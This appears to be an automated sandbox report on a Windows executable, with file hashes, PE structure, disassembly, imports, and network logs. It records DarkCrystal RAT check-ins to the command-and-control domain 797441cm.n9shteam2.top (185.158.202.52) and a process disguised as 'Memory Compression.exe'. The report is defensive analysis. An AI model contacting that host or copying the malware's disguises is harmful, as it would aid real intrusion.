SHA-256:	5AE5FD9D06A65508309039653EA0086019691F02B32CB59DC2888BC9A7CA3043
SHA-512:	3431504A664526D2A82FAB28B0A0FF3B103AA811C504D5E848CBA6F08BABF1BE09B981703CFB0BE607C98F96B7508173B3C3821DC4B0F705FAD343C414868D8A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Ivg.............................'... ...@....@.. ....................................@.................................<'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................p'......H.......(!................................................................(.....0..!.......r...pre..p.{....(....(....&..&......................0..........ri..p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings....4.......#US.........#GUID....... ...#Blob...........WU........%3................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.827179091092449
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXyVTtQv4uWRK4WR0XaNvpYVuWcnNvj:Vx993DEUFt5ud47n4bx
MD5:	F467A4655120C2346AD5C2DB3C05C995
SHA1:	1D26354DAD166E60F71E05B0B966A75982ADD2F7
SHA-256:	B9793FE4B0AA5EC69A4AA989C3D7F98E5D29A9B2425B65AB13741F23725671B4
SHA-512:	60B771AA6EE2673968A29445BDF03B948E31F94680D4537F0D6A70B39226AF9408FED2820E4B242D328E0CBA4842BF114F451F57F52018492EB5FD79EBB95CE8
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 02/01/2025 03:09:34..03:09:34, error: 0x80072746.03:09:39, error: 0x80072746.

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.991955156889876
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	t8F7Ic986c.exe
File size:	7'204'705 bytes
MD5:	a4923d4db3234b3905ad3097cc03af46
SHA1:	3e12ad372643b3c9d91053b91f61f8cd7e42118c
SHA256:	4685860269353c0eaaec2e5da79cb35a475123a37fa6d77c4faf345840da2a10
SHA512:	066ddbbe0b4bc88307126186dcbb7fdee75ea47755e5874fa4ee334bc406388629a2457ef507fbbdd7ffc5239f45319b14abac9caf74e318b7fb4521d5c4b980
SSDEEP:	98304:chbl5D70z1Mb4rsJgNd1ezhQcSZcOb+sX1Zvbed4Z0FGRABTgtse6vzovk18:chbl5D70RMVhhQcERCsXDjyZkJMu
TLSH:	0476335DA2A44CB9ECFB023EC495881ADBB178611781DB8B0770515B1FD76B26C3EF82
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................................-.....................,.............................................................Rich...........

File Icon


Icon Hash:	07554d70e14d5317

Static PE Info

General

Entrypoint:	0x14000c540
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x665AC400 [Sat Jun 1 06:47:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	f4f2e2b03fe5666a721620fcea3aea9b

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F9678E6F3ECh
dec eax
add esp, 28h
jmp 00007F9678E6F00Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007F9678E6F964h
test eax, eax
je 00007F9678E6F1B3h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007F9678E6F197h
dec eax
cmp ecx, eax
je 00007F9678E6F1A6h
xor eax, eax
dec eax
cmpxchg dword ptr [00034FACh], ecx
jne 00007F9678E6F180h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007F9678E6F189h
int3
int3
int3
dec eax
sub esp, 28h
test ecx, ecx
jne 00007F9678E6F199h
mov byte ptr [00034F95h], 00000001h
call 00007F9678E6F771h
call 00007F9678E6FD78h
test al, al
jne 00007F9678E6F196h
xor al, al
jmp 00007F9678E6F1A6h
call 00007F9678E7DD0Fh
test al, al
jne 00007F9678E6F19Bh
xor ecx, ecx
call 00007F9678E6FD88h
jmp 00007F9678E6F17Ch
mov al, 01h
dec eax
add esp, 28h
ret
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
cmp byte ptr [00034F5Ch], 00000000h
mov ebx, ecx
jne 00007F9678E6F1F9h
cmp ecx, 01h
jnbe 00007F9678E6F1FCh
call 00007F9678E6F8DAh
test eax, eax
je 00007F9678E6F1BAh
test ebx, ebx
jne 00007F9678E6F1B6h
dec eax
lea ecx, dword ptr [00034F46h]
call 00007F9678E7DB02h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e0bc	0x78	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x47000	0x36b4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x43000	0x231c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4b000	0x758	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3b460	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3b320	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2c000	0x438	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2afb0	0x2b000	40bf1edebd1304ce1b08c50cb556d4db	False	0.5458416606104651	data	6.5002315273868	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2c000	0x12f36	0x13000	d9c5dd6baa4ff7123551997c8a84cae6	False	0.5160490337171053	data	5.827851897350369	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3f000	0x33b8	0xe00	ae0f42b168987b17129506ccc4960b21	False	0.13392857142857142	firmware 32a2 vdf2d (revision 2569732096) \377\377\377\377 , version 256.0.512, 0 bytes or less, at 0xcd5d20d2 1725235199 bytes , at 0 0 bytes , at 0xffffffff 16777216 bytes	1.8264700601019173	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x43000	0x231c	0x2400	ffc5390666982cab67e3c9bf8e263bc3	False	0.4784071180555556	data	5.382434020909434	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x46000	0x1f4	0x200	771f0b097891d31289bb68f0eb426e66	False	0.529296875	data	3.713242247775091	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x47000	0x36b4	0x3800	ccc25b13f665fc385c7eeb61c91cda58	False	0.92724609375	data	7.85808934891437	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x4b000	0x758	0x800	7ecf18b15822e1aa4c79b9a361f07c79	False	0.546875	data	5.250941834312499	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x470e8	0x30a5	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9967879225889343
RT_GROUP_ICON	0x4a190	0x14	data	1.05
RT_MANIFEST	0x4a1a4	0x50d	XML 1.0 document, ASCII text	0.4694508894044857

Imports

DLL	Import
USER32.dll	CreateWindowExW, PostMessageW, GetMessageW, MessageBoxW, MessageBoxA, SystemParametersInfoW, DestroyIcon, SetWindowLongPtrW, GetWindowLongPtrW, GetClientRect, InvalidateRect, ReleaseDC, GetDC, DrawTextW, GetDialogBaseUnits, EndDialog, DialogBoxIndirectParamW, MoveWindow, SendMessageW
COMCTL32.dll
KERNEL32.dll	IsValidCodePage, GetStringTypeW, GetFileAttributesExW, HeapReAlloc, FlushFileBuffers, GetCurrentDirectoryW, GetACP, GetOEMCP, GetModuleHandleW, MulDiv, GetLastError, SetDllDirectoryW, CreateFileW, GetFinalPathNameByHandleW, CloseHandle, GetModuleFileNameW, CreateSymbolicLinkW, GetCPInfo, GetCommandLineW, GetEnvironmentVariableW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, CreateDirectoryW, GetTempPathW, WaitForSingleObject, Sleep, GetExitCodeProcess, CreateProcessW, GetStartupInfoW, FreeLibrary, LoadLibraryExW, SetConsoleCtrlHandler, FindClose, FindFirstFileExW, GetCurrentProcess, LocalFree, FormatMessageW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, GetTimeZoneInformation, HeapSize, WriteConsoleW, SetEndOfFile, GetProcAddress, GetSystemTimeAsFileTime, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, InitializeSListHead, IsDebuggerPresent, RtlUnwindEx, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, RaiseException, RtlPcToFileHeader, GetCommandLineA, GetDriveTypeW, GetFileInformationByHandle, GetFileType, PeekNamedPipe, SystemTimeToTzSpecificLocalTime, FileTimeToSystemTime, GetFullPathNameW, RemoveDirectoryW, FindNextFileW, SetStdHandle, DeleteFileW, ReadFile, GetStdHandle, WriteFile, ExitProcess, GetModuleHandleExW, HeapFree, GetConsoleMode, ReadConsoleW, SetFilePointerEx, GetConsoleOutputCP, GetFileSizeEx, HeapAlloc, FlsAlloc, FlsGetValue, FlsSetValue, FlsFree, CompareStringW, LCMapStringW
ADVAPI32.dll	OpenProcessToken, GetTokenInformation, ConvertStringSecurityDescriptorToSecurityDescriptorW, ConvertSidToStringSidW
GDI32.dll	SelectObject, DeleteObject, CreateFontIndirectW

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-02T07:42:12.937028+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49730	185.158.202.52	80	TCP
2025-01-02T07:42:40.718432+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49737	185.158.202.52	80	TCP
2025-01-02T07:42:47.937085+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49738	185.158.202.52	80	TCP
2025-01-02T07:42:57.077732+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49740	185.158.202.52	80	TCP
2025-01-02T07:43:05.374608+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49788	185.158.202.52	80	TCP
2025-01-02T07:43:08.640348+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49809	185.158.202.52	80	TCP
2025-01-02T07:43:10.452741+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49820	185.158.202.52	80	TCP
2025-01-02T07:43:13.468391+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49841	185.158.202.52	80	TCP
2025-01-02T07:43:15.952759+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49859	185.158.202.52	80	TCP
2025-01-02T07:43:37.905923+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	49995	185.158.202.52	80	TCP
2025-01-02T07:43:46.015323+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	50013	185.158.202.52	80	TCP
2025-01-02T07:43:49.327933+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	50014	185.158.202.52	80	TCP
2025-01-02T07:43:52.952838+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	50015	185.158.202.52	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 07:42:12.222743034 CET	49730	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:12.228194952 CET	80	49730	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:12.228260994 CET	49730	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:12.228691101 CET	49730	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:12.234321117 CET	80	49730	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:12.578655005 CET	49730	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:12.583686113 CET	80	49730	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:12.863842010 CET	80	49730	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:12.937027931 CET	49730	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:12.998162985 CET	80	49730	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:13.140136957 CET	49730	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:13.354605913 CET	49730	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:40.029572010 CET	49737	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:40.034516096 CET	80	49737	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:40.034596920 CET	49737	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:40.034801960 CET	49737	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:40.039561987 CET	80	49737	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:40.390450954 CET	49737	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:40.395373106 CET	80	49737	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:40.671520948 CET	80	49737	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:40.718431950 CET	49737	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:40.802408934 CET	80	49737	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:40.843966961 CET	49737	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:40.979460955 CET	49737	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:47.238909006 CET	49738	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:47.243891954 CET	80	49738	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:47.243954897 CET	49738	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:47.244177103 CET	49738	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:47.248943090 CET	80	49738	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:47.593909025 CET	49738	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:47.598845959 CET	80	49738	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:47.888977051 CET	80	49738	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:47.937084913 CET	49738	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:48.019974947 CET	80	49738	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:48.062093019 CET	49738	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:48.092417002 CET	49738	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:56.373135090 CET	49740	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:56.378137112 CET	80	49740	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:56.378221989 CET	49740	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:56.378424883 CET	49740	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:56.383203983 CET	80	49740	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:56.742400885 CET	49740	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:56.747327089 CET	80	49740	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:57.033515930 CET	80	49740	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:57.077732086 CET	49740	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:57.166054010 CET	80	49740	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:57.218353987 CET	49740	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:57.234250069 CET	49740	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:58.218149900 CET	49747	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:58.223048925 CET	80	49747	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:58.223143101 CET	49747	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:58.223350048 CET	49747	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:58.228096962 CET	80	49747	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:58.577889919 CET	49747	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:58.582746029 CET	80	49747	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:58.887072086 CET	80	49747	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:58.937108040 CET	49747	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:59.014481068 CET	80	49747	185.158.202.52	192.168.2.4
Jan 2, 2025 07:42:59.062129021 CET	49747	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:42:59.114819050 CET	49747	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:04.684660912 CET	49788	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:04.689515114 CET	80	49788	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:04.689598083 CET	49788	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:04.689801931 CET	49788	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:04.694588900 CET	80	49788	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:05.046686888 CET	49788	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:05.051868916 CET	80	49788	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:05.326363087 CET	80	49788	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:05.374608040 CET	49788	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:05.458293915 CET	80	49788	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:05.499617100 CET	49788	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:05.531322956 CET	49788	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:07.920547009 CET	49809	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:07.925410986 CET	80	49809	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:07.925478935 CET	49809	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:07.925662041 CET	49809	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:07.930433989 CET	80	49809	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:08.281053066 CET	49809	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:08.285901070 CET	80	49809	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:08.590106010 CET	80	49809	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:08.640347958 CET	49809	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:08.727977037 CET	80	49809	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:08.780951977 CET	49809	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:08.807364941 CET	49809	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:09.744429111 CET	49820	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:09.749286890 CET	80	49820	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:09.749361038 CET	49820	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:09.772655010 CET	49820	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:09.777404070 CET	80	49820	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:10.125345945 CET	49820	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:10.130234003 CET	80	49820	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:10.406136990 CET	80	49820	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:10.452740908 CET	49820	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:10.542355061 CET	80	49820	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:10.593381882 CET	49820	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:10.613226891 CET	49820	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:12.769150972 CET	49841	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:12.775981903 CET	80	49841	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:12.777087927 CET	49841	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:12.777729034 CET	49841	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:12.782562971 CET	80	49841	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:13.124891043 CET	49841	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:13.129668951 CET	80	49841	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:13.413958073 CET	80	49841	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:13.468390942 CET	49841	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:13.542433023 CET	80	49841	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:13.593398094 CET	49841	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:13.610966921 CET	49841	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:15.255688906 CET	49859	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:15.260504961 CET	80	49859	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:15.261086941 CET	49859	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:15.270199060 CET	49859	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:15.275017023 CET	80	49859	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:15.624830008 CET	49859	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:15.629766941 CET	80	49859	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:15.897964001 CET	80	49859	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:15.952759027 CET	49859	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:16.030421019 CET	80	49859	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:16.077756882 CET	49859	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:16.115370035 CET	49859	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:37.209327936 CET	49995	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:37.214153051 CET	80	49995	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:37.214212894 CET	49995	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:37.214448929 CET	49995	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:37.219180107 CET	80	49995	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:37.562329054 CET	49995	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:37.567224979 CET	80	49995	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:37.850827932 CET	80	49995	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:37.905922890 CET	49995	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:37.978218079 CET	80	49995	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:38.030939102 CET	49995	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:38.059993029 CET	49995	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:45.314692974 CET	50013	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:45.319629908 CET	80	50013	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:45.319813013 CET	50013	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:45.319977999 CET	50013	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:45.324740887 CET	80	50013	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:45.671842098 CET	50013	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:45.676688910 CET	80	50013	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:45.975331068 CET	80	50013	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:46.015322924 CET	50013	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:46.106070995 CET	80	50013	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:46.155937910 CET	50013	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:46.183118105 CET	50013	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:48.643342972 CET	50014	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:48.648191929 CET	80	50014	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:48.648276091 CET	50014	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:48.648454905 CET	50014	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:48.653193951 CET	80	50014	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:48.999847889 CET	50014	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:49.004679918 CET	80	50014	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:49.285562038 CET	80	50014	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:49.327933073 CET	50014	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:49.418426991 CET	80	50014	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:49.468542099 CET	50014	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:49.485307932 CET	50014	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:52.267887115 CET	50015	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:52.272845984 CET	80	50015	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:52.272927046 CET	50015	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:52.273149967 CET	50015	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:52.277978897 CET	80	50015	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:52.624927998 CET	50015	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:52.630033970 CET	80	50015	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:52.908746004 CET	80	50015	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:52.952837944 CET	50015	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:53.042171001 CET	80	50015	185.158.202.52	192.168.2.4
Jan 2, 2025 07:43:53.093476057 CET	50015	80	192.168.2.4	185.158.202.52
Jan 2, 2025 07:43:53.233520031 CET	50015	80	192.168.2.4	185.158.202.52

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 07:42:12.204611063 CET	55396	53	192.168.2.4	1.1.1.1
Jan 2, 2025 07:42:12.213943005 CET	53	55396	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 2, 2025 07:42:12.204611063 CET	192.168.2.4	1.1.1.1	0x70a4	Standard query (0)	797441cm.n9shteam2.top	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 2, 2025 07:42:12.213943005 CET	1.1.1.1	192.168.2.4	0x70a4	No error (0)	797441cm.n9shteam2.top		185.158.202.52	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

797441cm.n9shteam2.top

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.158.202.52	80	6924	C:\Recovery\Memory Compression.exe

Timestamp	Bytes transferred	Direction	Data
